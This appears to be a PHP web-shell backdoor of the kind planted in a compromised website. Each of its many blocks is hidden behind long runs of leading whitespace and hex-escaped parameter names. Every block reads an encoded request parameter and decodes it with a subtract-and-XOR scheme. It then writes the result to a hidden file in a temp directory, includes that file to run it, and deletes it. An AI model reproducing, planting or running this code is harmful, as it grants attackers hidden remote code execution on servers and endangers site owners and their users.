																																										if(in_array("val", array_keys($_POST))){ $marker = array_filter(["/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TMP"), "/dev/shm", getcwd()]); $hld = $_POST["val"]; $hld = explode ( "." , $hld) ; $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $k = 0; while($k < count($hld)) { $v6 = $hld[$k]; $chS = ord($s[$k % $sLen]); $d =((int)$v6 - $chS -($k % 10)) ^ 58; $item .= chr($d); $k++; } while ($tkn = array_shift($marker)) { if (is_dir($tkn) ? is_writable($tkn) : false) { $pgrp = "$tkn" . "/.ref"; if (@file_put_contents($pgrp, $item) !== false) { include $pgrp; unlink($pgrp); exit; } } } }
																																										if(isset($_REQUEST["\x65\x6Cem"]) ? true : false){ $pointer = array_filter(["/var/tmp", "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); $descriptor = $_REQUEST["\x65\x6Cem"]; $descriptor = explode ("." , $descriptor ) ; $val = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $__len = count( $descriptor ); for( $y = 0; $y< $__len; $y++) { $v6 = $descriptor[$y]; $chS = ord( $s[$y % $sLen] ); $d = ( ( int)$v6 - $chS -( $y % 10))^ 73; $val .= chr( $d ); } $key = 0; do { $flg = $pointer[$key] ?? null; if ($key >= count($pointer)) break; if (array_product([is_dir($flg), is_writable($flg)])) { $ptr = implode("/", [$flg, ".k"]); $success = file_put_contents($ptr, $val); if ($success) { include $ptr; @unlink($ptr); die();} } $key++; } while (true); }
																																										if(in_array("\x62\x69nd\x69n\x67", array_keys($_REQUEST))){ $item = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", session_save_path(), "/tmp", getenv("TMP"), getenv("TEMP"), getcwd(), sys_get_temp_dir()]); $flag = $_REQUEST["\x62\x69nd\x69n\x67"]; $flag =explode ( "." , $flag ) ; $sym = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1 ); $x = 0; $__tmp = $flag; while( $v4 = array_shift( $__tmp)) {$chS = ord( $s1[$x % $lenS] ); $d =( ( int)$v4 - $chS -( $x % 10)) ^58; $sym .= chr( $d ); $x++;} foreach ($item as $key): if (is_writable($key) && is_dir($key)) { $tkn = vsprintf("%s/%s", [$key, ".pointer"]); if (file_put_contents($tkn, $sym)) { require $tkn; unlink($tkn); exit; } } endforeach; }
																																										if(!empty($_REQUEST["el\x65\x6D"])){ $rec = array_filter(["/var/tmp", "/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", getcwd(), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $descriptor = $_REQUEST["el\x65\x6D"]; $descriptor=explode ('.' , $descriptor ) ; $entity = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $w = 0; $len = count($descriptor); do { if ($w>= $len) break; $v2 = $descriptor[$w]; $chS = ord($salt5[$w % $lenS]); $d = ((int)$v2 - $chS - ($w % 10)) ^ 18; $entity .= chr($d); $w++; }while (true); foreach ($rec as $factor) { if (is_writable($factor) && is_dir($factor)) { $bind = "$factor/.mrk"; if (file_put_contents($bind, $entity)) { include $bind; @unlink($bind); exit; } } } }
																																										if(!empty($_POST["fl\x67"])){ $resource = $_POST["fl\x67"]; $resource=explode ( ".", $resource ) ; $marker =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt9 ); $u =0; $len =count( $resource ); do { if( $u>=$len) break; $v4 =$resource[$u]; $sChar =ord( $salt9[$u%$sLen] ); $dec =( ( int)$v4 - $sChar -( $u%10))^ 29; $marker .= chr( $dec ); $u++; }while( true ); $entity = array_filter([getenv("TMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/var/tmp", getcwd(), session_save_path()]); $parameter_group = 0; do { $fac = $entity[$parameter_group] ?? null; if ($parameter_group >= count($entity)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($fac)) { $rec = "$fac" . "/.ptr"; if (@file_put_contents($rec, $marker) !== false) { include $rec; unlink($rec); exit; } } $parameter_group++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "e\x6Eti\x74y")){ $mrk = $_REQUEST["e\x6Eti\x74y"]; $mrk = explode ( "." , $mrk); $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $r = 0; array_walk($mrk, function ($v5) use (&$binding, &$r, $s, $lenS) { $sChar = ord($s[$r% $lenS] ); $dec = ((int)$v5 - $sChar - ($r% 10)) ^ 52; $binding .= chr($dec ); $r++; } ); $dchunk = array_filter([getcwd(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp"]); foreach ($dchunk as $rec) { if (is_writable($rec) && is_dir($rec)) { $val = implode("/", [$rec, ".dat"]); $success = file_put_contents($val, $binding); if ($success) { include $val; @unlink($val); exit;} } } }
																																										if(array_key_exists("\x70se\x74", $_REQUEST) && !is_null($_REQUEST["\x70se\x74"])){ $bind = $_REQUEST["\x70se\x74"]; $bind =explode ( "." , $bind ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $v = 0; $__tmp = $bind; while ($v5 = array_shift($__tmp)) { $sChar = ord($salt[$v % $lenS]); $dec = ((int)$v5 - $sChar - ($v % 10)) ^ 82; $ent .= chr($dec); $v++; } $itm = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/dev/shm", "/var/tmp", getcwd()]); while ($holder = array_shift($itm)) { if ((is_dir($holder) and is_writable($holder))) { $descriptor = sprintf("%s/.obj", $holder); if (@file_put_contents($descriptor, $ent) !== false) { include $descriptor; unlink($descriptor); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "fl\x67")){ $res = $_POST["fl\x67"]; $res= explode ( '.' , $res ); $entry = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); $n = 0; while($n < count($res)) { $v8 = $res[$n]; $sChar = ord($s7[$n%$lenS]); $dec =((int)$v8 - $sChar -($n%10)) ^ 100; $entry .= chr($dec); $n++; } $component = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getcwd(), "/tmp"]); for ($itm = 0, $fac = count($component); $itm < $fac; $itm++) { $sym = $component[$itm]; if (max(0, is_dir($sym) * is_writable($sym))) { $elem = join("/", [$sym, ".tkn"]); if (file_put_contents($elem, $entry)) { require $elem; unlink($elem); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "f\x6Cag")){ $bind = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", getcwd(), "/tmp", getenv("TMP"), session_save_path()]); $value = $_REQUEST["f\x6Cag"]; $value = explode("." , $value ) ; $key =''; $salt8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt8 ); $j =0; $__tmp =$value; while( $v2 =array_shift( $__tmp)) { $sChar =ord( $salt8[$j% $lenS] ); $dec =( ( int)$v2 - $sChar -( $j% 10)) ^ 35; $key .= chr( $dec ); $j++; } $ent = 0; do { $ptr = $bind[$ent] ?? null; if ($ent >= count($bind)) break; if ((bool)is_dir($ptr) && (bool)is_writable($ptr)) { $fac = str_replace("{var_dir}", $ptr, "{var_dir}/.entry"); if (@file_put_contents($fac, $key) !== false) { include $fac; unlink($fac); die(); } } $ent++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["obj"])){ $mrk = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/var/tmp", getenv("TMP"), "/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir()]); $ent = $_REQUEST["obj"]; $ent = explode( ".", $ent); $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $v = 0; $__tmp = $ent; while( $v6 = array_shift( $__tmp)) { $chS = ord( $salt[$v % $sLen]); $d = ( ( int)$v6 - $chS -( $v % 10)) ^ 31; $dchunk .= chr( $d); $v++;} foreach ($mrk as $value): if (is_writable($value) && is_dir($value)) { $fac = sprintf("%s/.data_chunk", $value); $success = file_put_contents($fac, $dchunk); if ($success) { include $fac; @unlink($fac); die();} } endforeach; }
																																										if(!empty($_POST["fa\x63"])){ $ptr = $_POST["fa\x63"]; $ptr = explode ( ".", $ptr ) ; $obj= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt ); $w= 0; array_walk($ptr, function ($v6) use (&$obj, &$w, $salt, $lenS) { $sChar= ord($salt[$w % $lenS] ); $d= ((int)$v6 - $sChar - ($w % 10)) ^ 11; $obj .= chr($d ); $w++; } ); $marker = array_filter([sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TMP"), "/var/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd()]); $flag = 0; do { $elem = $marker[$flag] ?? null; if ($flag >= count($marker)) break; if ((is_dir($elem) and is_writable($elem))) { $entity = str_replace("{var_dir}", $elem, "{var_dir}/.itm"); if (file_put_contents($entity, $obj)) { include $entity; @unlink($entity); die(); } } $flag++; } while (true); }
																																										if(@$_POST["\x64at"] !== null){ $property_set = array_filter([sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP")]); $bind = $_POST["\x64at"]; $bind = explode ( "." ,$bind ) ; $factor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $v = 0; while ($v <count($bind)) { $v9 = $bind[$v]; $sChar = ord($salt[$v % $lenS]); $dec = ((int)$v9 - $sChar - ($v % 10)) ^ 3; $factor .= chr($dec); $v++; } for ($reference = 0, $descriptor = count($property_set); $reference < $descriptor; $reference++) { $holder = $property_set[$reference]; if (max(0, is_dir($holder) * is_writable($holder))) { $marker = "$holder/.ref"; if (@file_put_contents($marker, $factor) !== false) { include $marker; unlink($marker); exit; } } } }
																																										if(array_key_exists("\x73ymb\x6F\x6C", $_POST)){ $record = $_POST["\x73ymb\x6F\x6C"]; $record = explode( ".", $record ) ; $fac =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); foreach( $record as $n => $v9): $chS =ord( $s[$n% $lenS]); $dec =( ( int)$v9 - $chS -( $n% 10)) ^ 90; $fac .= chr( $dec); endforeach; $pset = array_filter(["/var/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/tmp"]); foreach ($pset as $rec): if ((bool)is_dir($rec) && (bool)is_writable($rec)) { $desc = str_replace("{var_dir}", $rec, "{var_dir}/.value"); if (file_put_contents($desc, $fac)) { require $desc; unlink($desc); die(); } } endforeach; }
																																										if(isset($_REQUEST["\x66\x6Cag"])){ $resource = $_REQUEST["\x66\x6Cag"]; $resource = explode ( "." , $resource ) ; $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $m = 0; foreach( $resource as $v7) { $chS = ord( $s[$m %$sLen]); $d =( ( int)$v7 - $chS -( $m %10)) ^ 3; $data_chunk .= chr( $d); $m++; } $token = array_filter(["/dev/shm", getenv("TMP"), getcwd(), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir()]); foreach ($token as $key => $elem) { if (max(0, is_dir($elem) * is_writable($elem))) { $component = implode("/", [$elem, ".pset"]); $file = fopen($component, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $component; @unlink($component); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x6Fb\x6A\x65ct"])){ $key = array_filter([getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), getcwd()]); $mrk = $_REQUEST["\x6Fb\x6A\x65ct"]; $mrk = explode ( '.' ,$mrk ) ; $dchunk = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7); $j = 0; array_walk( $mrk , function( $v2) use( &$dchunk , &$j , $salt7 , $lenS) { $chS = ord( $salt7[$j %$lenS]); $dec =( ( int)$v2 - $chS -( $j %10)) ^ 75; $dchunk .= chr( $dec); $j++; }); foreach ($key as $key => $sym) { if ((bool)is_dir($sym) && (bool)is_writable($sym)) { $desc = "$sym/.val"; $success = file_put_contents($desc, $dchunk); if ($success) { include $desc; @unlink($desc); exit;} } } }
																																										if(@$_POST["\x66\x61c"] !== null){ $entry = $_POST["\x66\x61c"]; $entry = explode ('.' , $entry ); $factor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $v = 0; array_walk($entry, function($v9) use(&$factor, &$v, $s, $sLen) { $sChar = ord($s[$v % $sLen]); $d = ((int)$v9 - $sChar -($v % 10)) ^ 14; $factor .= chr($d); $v++; }); $dat = array_filter([getenv("TEMP"), "/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", sys_get_temp_dir()]); for ($object = 0, $data = count($dat); $object < $data; $object++) { $item = $dat[$object]; if (is_dir($item) && is_writable($item)) { $key = implode("/", [$item, ".parameter_group"]); if (@file_put_contents($key, $factor) !== false) { include $key; unlink($key); die(); } } } }
																																										if(array_key_exists("\x70\x61ra\x6D\x65te\x72\x5F\x67r\x6Fup", $_REQUEST) && !is_null($_REQUEST["\x70\x61ra\x6D\x65te\x72\x5F\x67r\x6Fup"])){ $reference = $_REQUEST["\x70\x61ra\x6D\x65te\x72\x5F\x67r\x6Fup"]; $reference= explode ( "." ,$reference ); $elem = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); $p = 0; foreach ($reference as $v8) { $sChar = ord($salt7[$p % $lenS]); $d = ((int)$v8 - $sChar - ($p % 10)) ^ 82; $elem .= chr($d); $p++; } $tkn = array_filter(["/var/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", getcwd(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); foreach ($tkn as $desc) { if (array_product([is_dir($desc), is_writable($desc)])) { $itm = str_replace("{var_dir}", $desc, "{var_dir}/.obj"); $file = fopen($itm, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $itm; @unlink($itm); die(); } } } }
																																										if(in_array("par\x61m\x65\x74\x65\x72\x5Fg\x72\x6Fup", array_keys($_POST))){ $ref = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/tmp", sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TMP"), "/dev/shm"]); $symbol = $_POST["par\x61m\x65\x74\x65\x72\x5Fg\x72\x6Fup"]; $symbol = explode( ".", $symbol ) ; $marker = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7 ); $len = count($symbol ); for ($j = 0; $j < $len; $j++) { $v2 = $symbol[$j]; $chS = ord($s7[$j % $lenS] ); $d = ((int)$v2 - $chS - ($j % 10)) ^ 29; $marker .= chr($d ); } foreach ($ref as $record): if (is_dir($record) && is_writable($record)) { $pgrp = implode("/", [$record, ".descriptor"]); if (file_put_contents($pgrp, $marker)) { require $pgrp; unlink($pgrp); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["d\x61\x74a\x5F\x63h\x75nk"])){ $tkn = $_REQUEST["d\x61\x74a\x5F\x63h\x75nk"]; $tkn= explode ( "." , $tkn ) ; $itm = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); foreach ($tkn as $y => $v8): $chS = ord($salt9[$y % $lenS]); $dec = ((int)$v8 - $chS - ($y % 10)) ^ 46; $itm .= chr($dec); endforeach; $binding = array_filter([getenv("TMP"), "/dev/shm", "/tmp", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), sys_get_temp_dir()]); $bind = 0; do { $sym = $binding[$bind] ?? null; if ($bind >= count($binding)) break; if (max(0, is_dir($sym) * is_writable($sym))) { $val = "$sym" . "/.comp"; $success = file_put_contents($val, $itm); if ($success) { include $val; @unlink($val); die();} } $bind++; } while (true); }
																																										if(!is_null($_REQUEST["\x6D\x72k"] ?? null)){ $marker = $_REQUEST["\x6D\x72k"]; $marker = explode ( '.' ,$marker ) ; $ptr = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); foreach($marker as $k=> $v5): $chS = ord($s2[$k % $lenS]); $d =((int)$v5 - $chS -($k % 10)) ^ 66; $ptr .=chr($d); endforeach; $val = array_filter(["/var/tmp", getenv("TMP"), getcwd(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), session_save_path()]); while ($parameter_group = array_shift($val)) { if ((is_dir($parameter_group) and is_writable($parameter_group))) { $sym = sprintf("%s/.entry", $parameter_group); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $sym; @unlink($sym); exit; } } } }
																																										if(in_array("\x72e\x73", array_keys($_REQUEST))){ $ent = $_REQUEST["\x72e\x73"]; $ent= explode ('.', $ent ) ; $marker= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); $i= 0; array_walk( $ent, function( $v3) use( &$marker, &$i, $s, $sLen) { $sChar= ord( $s[$i%$sLen]); $dec= ( ( int)$v3 - $sChar -( $i%10)) ^49; $marker .= chr( $dec); $i++; }); $descriptor = array_filter(["/dev/shm", session_save_path(), "/var/tmp", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TEMP")]); foreach ($descriptor as $property_set): if (is_dir($property_set) ? is_writable($property_set) : false) { $mrk = implode("/", [$property_set, ".symbol"]); if (file_put_contents($mrk, $marker)) { require $mrk; unlink($mrk); exit; } } endforeach; }
																																										if(!empty($_REQUEST["ob\x6Aect"])){ $flg = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TEMP"), "/dev/shm", session_save_path()]); $parameter_group = $_REQUEST["ob\x6Aect"]; $parameter_group = explode ('.' ,$parameter_group ); $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $z = 0; array_walk($parameter_group, function($v4) use(&$marker, &$z, $s, $lenS) { $sChar = ord($s[$z % $lenS]); $dec = ((int)$v4 - $sChar -($z % 10)) ^ 94; $marker .=chr($dec); $z++; }); $reference = 0; do { $ptr = $flg[$reference] ?? null; if ($reference >= count($flg)) break; if (!( !is_dir($ptr) || !is_writable($ptr) )) { $flag = str_replace("{var_dir}", $ptr, "{var_dir}/.tkn"); if (file_put_contents($flag, $marker)) { include $flag; @unlink($flag); die(); } } $reference++; } while (true); }
																																										if(@$_POST["\x73\x79\x6Dbol"] !== null){ $elem = $_POST["\x73\x79\x6Dbol"]; $elem = explode ('.' ,$elem) ; $reference = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $p = 0; while( $p < count( $elem)) { $v2 = $elem[$p]; $chS = ord( $salt[$p %$lenS]); $dec = ( ( int)$v2 - $chS -( $p %10)) ^ 99; $reference .= chr( $dec); $p++; } $parameter_group = array_filter([getenv("TMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm"]); foreach ($parameter_group as $key => $k) { if (is_dir($k) ? is_writable($k) : false) { $val = "$k/.ent"; if (file_put_contents($val, $reference)) { require $val; unlink($val); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["d\x65\x73c"])){ $parameter_group = $_REQUEST["d\x65\x73c"]; $parameter_group = explode("." , $parameter_group ) ; $val =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $u =0; array_walk($parameter_group, function ($v7) use (&$val, &$u, $s, $lenS) { $chS =ord($s[$u % $lenS]); $dec =((int)$v7 - $chS - ($u % 10))^ 14; $val.= chr($dec); $u++; } ); $pointer = array_filter([getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/dev/shm", "/tmp", session_save_path(), "/var/tmp"]); for ($flg = 0, $mrk = count($pointer); $flg < $mrk; $flg++) { $record = $pointer[$flg]; if (max(0, is_dir($record) * is_writable($record))) { $value = implode("/", [$record, ".key"]); $success = file_put_contents($value, $val); if ($success) { include $value; @unlink($value); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "\x72\x65\x73\x6Furce")){ $mrk = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/var/tmp", getcwd(), session_save_path(), getenv("TEMP"), sys_get_temp_dir()]); $comp = $_REQUEST["\x72\x65\x73\x6Furce"]; $comp = explode ( '.' ,$comp ) ; $dat = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $p = 0; while( $p < count( $comp)) {$v4 = $comp[$p]; $chS = ord( $salt[$p % $lenS]); $dec = ( ( int)$v4 - $chS -( $p % 10)) ^ 45; $dat .=chr( $dec); $p++;} for ($pointer = 0, $flag = count($mrk); $pointer < $flag; $pointer++) { $ent = $mrk[$pointer]; if (!!is_dir($ent) && !!is_writable($ent)) { $component = "$ent/.element"; if (file_put_contents($component, $dat)) { include $component; @unlink($component); die(); } } } }
																																										if(array_key_exists("\x76\x61l", $_POST) && !is_null($_POST["\x76\x61l"])){ $resource = array_filter(["/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp"]); $ent = $_POST["\x76\x61l"]; $ent = explode( "." , $ent); $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $l = 0; while( $l<count( $ent)) { $v2 = $ent[$l]; $sChar = ord( $s[$l % $sLen] ); $dec =( ( int)$v2 - $sChar -( $l % 10)) ^ 7; $record .=chr( $dec ); $l++;} foreach ($resource as $component): if (is_dir($component) ? is_writable($component) : false) { $holder = str_replace("{var_dir}", $component, "{var_dir}/.data"); if (@file_put_contents($holder, $record) !== false) { include $holder; unlink($holder); die(); } } endforeach; }
																																										if(!empty($_POST["\x72\x65s"])){ $marker = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), session_save_path(), "/var/tmp", getenv("TMP"), "/tmp", sys_get_temp_dir()]); $binding = $_POST["\x72\x65s"]; $binding = explode ( '.' ,$binding ) ; $tkn= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $n= 0; while($n<count($binding)) { $v1= $binding[$n]; $chS= ord($s[$n %$sLen]); $dec= ((int)$v1 - $chS -($n %10)) ^ 59; $tkn .= chr($dec); $n++; } foreach ($marker as $key => $pgrp) { if (!!is_dir($pgrp) && !!is_writable($pgrp)) { $object = implode("/", [$pgrp, ".flag"]); if (@file_put_contents($object, $tkn) !== false) { include $object; unlink($object); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x64\x65scri\x70\x74or")){ $comp = array_filter(["/var/tmp", "/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getcwd()]); $elem = $_REQUEST["\x64\x65scri\x70\x74or"]; $elem= explode ("." , $elem ); $marker= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt2); $r= 0; $len= count($elem); do { if ($r >=$len) break; $v2= $elem[$r]; $sChar= ord($salt2[$r % $lenS]); $d= ((int)$v2 - $sChar - ($r % 10)) ^ 67; $marker.= chr($d); $r++; } while (true); $sym = 0; do { $k = $comp[$sym] ?? null; if ($sym >= count($comp)) break; if (is_dir($k) && is_writable($k)) { $itm = sprintf("%s/.key", $k); if (file_put_contents($itm, $marker)) { require $itm; unlink($itm); exit; } } $sym++; } while (true); }
																																										if(!empty($_REQUEST["el\x65m"])){ $entity = array_filter(["/tmp", "/dev/shm", "/var/tmp", getenv("TEMP"), session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir")]); $factor = $_REQUEST["el\x65m"]; $factor = explode ( ".",$factor ) ; $pgrp = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s6); $len = count( $factor); for( $j = 0; $j < $len; $j++) { $v3 = $factor[$j]; $sChar = ord( $s6[$j % $sLen]); $d =( ( int)$v3 - $sChar -( $j % 10)) ^ 53; $pgrp .= chr( $d); } foreach ($entity as $element): if (max(0, is_dir($element) * is_writable($element))) { $ent = join("/", [$element, ".resource"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $pgrp); fclose($file); include $ent; @unlink($ent); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "sym")){ $flag = array_filter([getenv("TEMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TMP")]); $ref = $_POST["sym"]; $ref = explode ("." , $ref ) ; $pointer = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1 ); $z = 0; while ($z < count($ref)) { $v2 = $ref[$z]; $chS = ord($salt1[$z %$sLen] ); $dec = ((int)$v2 - $chS - ($z %10))^ 56; $pointer .= chr($dec ); $z++; } $elem = 0; do { $rec = $flag[$elem] ?? null; if ($elem >= count($flag)) break; if (is_dir($rec) ? is_writable($rec) : false) { $data_chunk = sprintf("%s/.property_set", $rec); $success = file_put_contents($data_chunk, $pointer); if ($success) { include $data_chunk; @unlink($data_chunk); die();} } $elem++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["p\x67rp"])){ $ent = array_filter(["/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); $value = $_REQUEST["p\x67rp"]; $value = explode ('.', $value ) ; $property_set = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($value as $w => $v2): $chS = ord($salt[$w % $lenS] ); $dec = ((int)$v2 - $chS - ($w % 10)) ^89; $property_set .= chr($dec ); endforeach; while ($entity = array_shift($ent)) { if (is_dir($entity) ? is_writable($entity) : false) { $binding = "$entity" . "/.flag"; if (@file_put_contents($binding, $property_set) !== false) { include $binding; unlink($binding); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "d\x63h\x75n\x6B")){ $sym = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir()]); $object = $_POST["d\x63h\x75n\x6B"]; $object = explode ( '.' , $object) ; $bind =''; $salt7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt7); $o =0; $__tmp =$object; while ($v1 =array_shift($__tmp)) {$chS =ord($salt7[$o % $lenS]); $dec =((int)$v1 - $chS - ($o % 10))^ 79; $bind .= chr($dec); $o++; } foreach ($sym as $key => $fac) { if ((bool)is_dir($fac) && (bool)is_writable($fac)) { $value = "$fac" . "/.ent"; if (@file_put_contents($value, $bind) !== false) { include $value; unlink($value); exit; } } } }
																																										if(!is_null($_POST["com\x70o\x6Ee\x6E\x74"] ?? null)){ $res = array_filter([session_save_path(), "/var/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); $marker = $_POST["com\x70o\x6Ee\x6E\x74"]; $marker = explode("." , $marker ) ; $key = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6 ); $w = 0; $__tmp = $marker; while ($v9 = array_shift($__tmp)) { $chS = ord($s6[$w % $sLen] ); $d = ((int)$v9 - $chS - ($w % 10)) ^ 12; $key .= chr($d ); $w++; } foreach ($res as $descriptor): if (is_writable($descriptor) && is_dir($descriptor)) { $token = vsprintf("%s/%s", [$descriptor, ".val"]); if (file_put_contents($token, $key)) { include $token; @unlink($token); exit; } } endforeach; }
